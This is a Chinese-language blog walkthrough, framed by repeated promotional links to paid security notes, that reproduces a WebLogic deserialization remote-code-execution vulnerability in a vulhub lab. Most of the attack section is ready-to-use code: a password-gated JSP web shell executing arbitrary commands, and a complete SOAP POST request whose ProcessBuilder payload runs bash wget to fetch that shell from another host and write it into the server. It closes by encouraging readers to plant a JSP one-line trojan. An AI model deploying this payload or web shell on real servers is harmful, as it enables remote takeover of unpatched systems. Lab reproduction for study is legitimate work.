首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识
分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:
超详细的网络安全学习笔记https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025
不知道怎么获取的可以私信联系我,欢迎技术交流!
一,漏洞描述
1-1 漏洞原理:
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
1-2 影响版本
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
二,靶场搭建
靶机:192.168.31.160
通过vulhub靶场来进行复现
需要有docker镜像,需要安装docker镜像请参考下面这篇文章
通过docker-compose up -d 命令拉去启动靶场,我之前已经拉去启动过,这次只需要启动即可;
浏览器访问一下http://192.168.31.160:7001/console/login/LoginForm.jsp
看到如下页面表示靶场搭建好了,并启动成功
访问一下http://192.168.31.160:7001/_async/AsyncResponseService
看到如吓页面,说明存在 反序列化漏洞(CVE-2019-2890)
三,漏洞复现
1-1 准备java脚本文件
编写能执行系统命令的java脚本文件,通过漏洞上传到服务器,可以请求的方式执行系统漏洞
脚本文件我给大家准备好了,直接用即可
这代码大概意思就是接受两个参数pwd和cmd,pwd是确认密码,cmd是执行的系统命令;
当传过来的pwd值为123时,执行cmd系统指令并返回
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
1-2 在另一个主机,或者直接靶机上也可以,mkdir aini 创建一个文件夹aini的文件夹,进入到文件夹里面,tocuh shell.txt ,然后vim shell.txt 把准备好的执行系统指令的代码写入到shell.txt中
1-2 开启web服务
我们需要开启web服务,让shell.txt能够访问
在aini 文件夹里执行 python3 -m http.server 5555 开启web服务,默认以aini文件夹为根目录
注:我是kali系统,自带Python3 ,如果是centos系统的话应该不是自带Python3 ,可以yum provides python3 找到能安装的Python3安装包,然后进行安装
web 服务已经开启,访问看看 192.168.31.160:5555
能成功访问到
1-3 抓包,修改数据包
对 http://192.168.31.160:7001/_async/AsyncResponseService
进行抓包,并放到重发器里面
下面对数据包进行修改
GET请求---------POST请求
添加ContentType 值为text/xml
可以删除一些多余的请求行,只保留下面给的几个
注意:下面代买中如下红色部分需要修改改成自己开启web服务的主机IP和端口,和shell的名称
<string>wget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp</string>
这个代码的意思就是去 http://192.168.31.160:12345/shell.txt 里 把shell.txt下载下来以后再写入到服务器上一个aini.jsp的文件中
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.31.160:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 868
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
1-4 发包,查看结果
发包以后查看如下结果,说明文件写入成功了
1-5 访问写入的文件,执行命令
到此我们就复现成功了,通过反序列化写入能执行系统命令的脚本问价,然后可以执行系统命令,这么说能不能写入一句户木马程序来getshell呢?
大家可以取找JSP一句话木马,同样的办法写入以后可以用工具试一下看看
有问题可以留言,一起探讨
首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识
分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:
超详细的网络安全学习笔记https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025
不知道怎么获取的可以私信联系我,欢迎技术交流!